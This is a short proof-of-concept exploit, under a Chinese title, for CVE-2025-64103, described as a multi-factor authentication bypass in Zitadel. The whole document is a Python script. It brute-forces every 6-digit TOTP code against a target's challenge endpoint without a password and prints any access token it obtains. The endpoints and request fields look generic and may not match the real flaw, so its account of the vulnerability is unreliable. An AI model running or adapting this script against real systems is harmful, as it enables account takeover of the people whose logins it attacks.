CVE-2025-64103 Zitadel多因素认证绕过漏洞

# CVE-2025-64103 PoC - Zitadel MFA Bypass via TOTP Bruteforce # This PoC demonstrates the authentication bypass vulnerability import requests import time import itertools TARGET_URL = "https://vulnerable-zitadel-instance.com" USERNAME = "[email protected]" def generate_totp_candidates(): """Generate 6-digit TOTP candidates for bruteforce""" for code in range(1000000): yield f"{code:06d}" def attempt_mfa_bypass(): """ Exploit CVE-2025-64103: 1. Send authentication request with username only 2. Intercept the challenge for MFA (TOTP) 3. Bruteforce the 6-digit TOTP code 4. Bypass password verification entirely """ session = requests.Session() # Step 1: Initiate authentication with username init_url = f"{TARGET_URL}/oauth/v2/authorize" init_data = { "username": USERNAME, "auth_method": "user_password" } response = session.post(init_url, json=init_data) # Step 2: The vulnerability allows bypassing password check # System accepts TOTP directly without password verification challenge_url = f"{TARGET_URL}/oauth/v2/challenge" # Step 3: Bruteforce TOTP code for totp in generate_totp_candidates(): challenge_data = { "challenge_type": "TOTP", "code": totp, "user_id": USERNAME } response = session.post(challenge_url, json=challenge_data) if response.status_code == 200: result = response.json() if result.get("success"): print(f"[+] SUCCESS: TOTP code found: {totp}") print(f"[+] Access token: {result.get('access_token')}") return True if int(totp) % 10000 == 0: print(f"[*] Attempted: {totp} codes...") return False if __name__ == "__main__": print("CVE-2025-64103 - Zitadel MFA Bypass PoC") print("Targeting TOTP code bruteforce to bypass authentication") attempt_mfa_bypass()